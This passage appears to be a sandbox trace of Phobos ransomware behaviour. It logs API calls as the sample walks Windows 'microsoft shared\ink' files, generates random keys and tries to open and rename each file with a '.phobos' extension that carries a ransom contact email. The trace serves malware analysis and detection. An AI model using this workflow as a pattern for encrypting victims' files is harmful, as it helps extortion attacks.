shared\\ink\\FlickLearningWizard.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.330] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.330] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.330] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.331] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=11264) returned 1 [0169.331] CloseHandle (hObject=0x2d8) returned 1 [0169.331] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\tipresx.dll.mui")) returned 0x20 [0169.331] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.331] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.331] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.331] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.332] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=11264) returned 1 [0169.332] CloseHandle (hObject=0x2d8) returned 1 [0169.332] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui")) returned 0x20 [0169.332] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.332] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.332] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.332] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.333] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=9728) returned 1 [0169.333] CloseHandle (hObject=0x2d8) returned 1 [0169.333] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui")) returned 0x20 [0169.333] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.333] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.333] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.333] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.333] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=10240) returned 1 [0169.333] CloseHandle (hObject=0x2d8) returned 1 [0169.334] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui")) returned 0x20 [0169.334] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.334] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.334] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.334] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.334] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=10240) returned 1 [0169.334] CloseHandle (hObject=0x2d8) returned 1 [0169.334] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui")) returned 0x20 [0169.334] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.335] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.335] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.335] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.335] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=361472) returned 1 [0169.335] CloseHandle (hObject=0x2d8) returned 1 [0169.335] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll")) returned 0x20 [0169.335] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.335] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.336] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.336] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.336] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=2018304) returned 1 [0169.336] CloseHandle (hObject=0x2d8) returned 1 [0169.336] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll")) returned 0x20 [0169.336] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0169.336] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll")) returned 0 [0169.337] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.337] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.337] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=367104) returned 1 [0169.337] CloseHandle (hObject=0x2d8) returned 1 [0169.337] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe")) returned 0x20 [0169.337] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.337] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.337] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.338] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.338] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=2560) returned 1 [0169.338] CloseHandle (hObject=0x2d8) returned 1 [0169.338] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll")) returned 0x20 [0169.338] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.338] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.338] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.338] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.339] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=41984) returned 1 [0169.339] CloseHandle (hObject=0x2d8) returned 1 [0169.339] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll")) returned 0x20 [0169.339] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.339] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.339] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.339] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.340] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=125952) returned 1 [0169.340] CloseHandle (hObject=0x2d8) returned 1 [0169.340] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll")) returned 0x20 [0169.340] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.340] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.340] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.340] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.341] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=10752) returned 1 [0169.341] CloseHandle (hObject=0x2d8) returned 1 [0169.344] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui")) returned 0x20 [0169.344] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.344] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.344] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.344] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.345] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=7680) returned 1 [0169.345] CloseHandle (hObject=0x2d8) returned 1 [0169.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui")) returned 0x20 [0169.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.345] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.345] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.345] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.346] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=7680) returned 1 [0169.346] CloseHandle (hObject=0x2d8) returned 1 [0169.346] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui")) returned 0x20 [0169.346] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.346] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.346] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.346] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\languagemodel\\chstic.dgml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.347] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=763) returned 1 [0169.347] CloseHandle (hObject=0x2d8) returned 1 [0169.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\languagemodel\\chstic.dgml")) returned 0x20 [0169.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\languagemodel\\chstic.dgml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.347] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\languagemodel\\chstic.dgml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.347] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.347] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.347] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=10240) returned 1 [0169.347] CloseHandle (hObject=0x2d8) returned 1 [0169.348] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui")) returned 0x20 [0169.348] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.348] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.348] CryptGenRandom (in: hProv=0x1a67b8, 